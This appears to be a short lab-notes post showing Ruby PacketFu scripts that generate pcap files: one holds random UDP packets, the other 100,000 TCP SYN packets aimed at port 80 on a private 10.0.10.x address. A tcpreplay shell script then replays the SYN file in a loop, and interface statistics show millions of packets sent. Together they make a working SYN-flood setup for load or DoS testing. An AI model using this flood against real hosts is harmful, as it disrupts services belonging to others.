Packet generate 101: packetfu

#!/usr/bin/env ruby
# Used mainly to test for memory leaks and to demo the preferred ways of
# reading and writing packets to and from pcap files.
#require './examples' # For path setting slight-of-hand
require 'packetfu'
include PacketFu
puts "Generating packets... (#{Time.now.utc})"
File.unlink("/tmp/out.pcap") if File.exists? "/tmp/out.pcap"
start_time = Time.now.utc
count = 0
100.times do
    @pcaps = []
 1000.times do 
      u = UDPPacket.new
       u.ip_src = [rand(2**32-1)].pack("N")
      u.ip_dst = [rand(2**32-1)].pack("N")
      u.recalc
        @pcaps << u
   end
 pfile = PcapFile.new
    res = pfile.array_to_file(:filename => "/tmp/out.pcap", :array => @pcaps, :append => true)
   count += res.last
   puts "Wrote #{count} packets in #{Time.now.utc - start_time} seconds"
end

#!/usr/bin/env ruby
# Used mainly to test for memory leaks and to demo the preferred ways of
# reading and writing packets to and from pcap files.
#require './examples' # For path setting slight-of-hand
require 'packetfu'
include PacketFu
def usage
        if ARGV[0].nil?
                raise ArgumentError, "You need an IP address to start with."
        elsif !Process.euid.zero?
                raise SecurityError, "You need to be root to run this."
        end
end
usage unless target_ip = ARGV[0]                # Need a target IP. - ja sorry bruges ikke endnu, men I forstår 
#usage unless Process.euid.zero?                 # Need to be root.
IPAddr.new(target_ip)                                                           # Check to see it's really an IP address, and not a herring or something.
#$packetfu_default = PacketFu::Config.new(PacketFu::Utils.whoami?).config
puts "Generating packets... (#{Time.now.utc})"
File.unlink("tcpflood.pcap") if File.exists? "tcpflood.pcap"
start_time = Time.now.utc
count = 0
100.times do
 @pcaps = []
 1000.times do 
      u = TCPPacket.new
       u.tcp_flags.syn=1
       ts_val = Time.now.to_i + rand(0x4fffffff)
       #u.ip_src = [rand(2**32-1)].pack("N")
     #u.ip_dst = [rand(2**32-1)].pack("N")
     u.ip_saddr = "10.0.10.20"
     u.ip_daddr = "10.0.10.30"
     u.tcp_dport=80
      #u.tcp_opts="mss:1460,sack.ok,ts:0x10674348,nop,ws:512"
       u.tcp_options="MSS:1460,SACKOK,TS:#{ts_val};0,NOP,WS:512"
     u.recalc
        @pcaps << u
   end
 pfile = PcapFile.new
    res = pfile.array_to_file(:filename => "tcpflood.pcap", :array => @pcaps, :append => true)
   count += res.last
   puts "Wrote #{count} packets in #{Time.now.utc - start_time} seconds"
end

hlk@xpc02:~/packetfactory$ cat run-tcp-flood 
#! /bin/sh
sudo /pentest/sniffers/tcpreplay/tcpreplay-edit 
  --enet-dmac=80:ee:73:16:e1:57 -C -t -i eth2 -K -l 1000 
   /home/hlk/packetfactory/tcpflood.pcap 

  Kernel net/sys statistics for eth2, t=8.00s
  RX:            0.000 MiB/t          0 pkts/t          0 drops/t          0 errors/t  
  TX:          658.223 MiB/t    9326989 pkts/t          0 drops/t          0 errors/t  --- Note: opdateres hvert 8. sekund
 
  RX:            0.000 MiB            0 pkts            0 drops            0 errors ---   Note: akkumulerede data
  TX:        11978.994 MiB    169741693 pkts            0 drops            0 errors
 
  SYS:            4342 cs/t        2.7% mem             4 running          0 iowait
  CPU0:           0.0% usr/t       0.1% sys/t       99.9% idl/t         0.0% iow/t
  CPU1:           0.2% usr/t       1.0% sys/t       98.8% idl/t         0.0% iow/t
  CPU2:           0.0% usr/t       0.0% sys/t      100.0% idl/t         0.0% iow/t
  CPU3:           0.0% usr/t       0.0% sys/t      100.0% idl/t         0.0% iow/t
  CPU4:           0.0% usr/t       2.7% sys/t       97.3% idl/t         0.0% iow/t
  CPU5:          17.4% usr/t      81.5% sys/t        1.1% idl/t         0.0% iow/t
  CPU6:           0.0% usr/t       0.0% sys/t      100.0% idl/t         0.0% iow/t
  CPU7:          15.0% usr/t      85.0% sys/t        0.0% idl/t         0.0% iow/t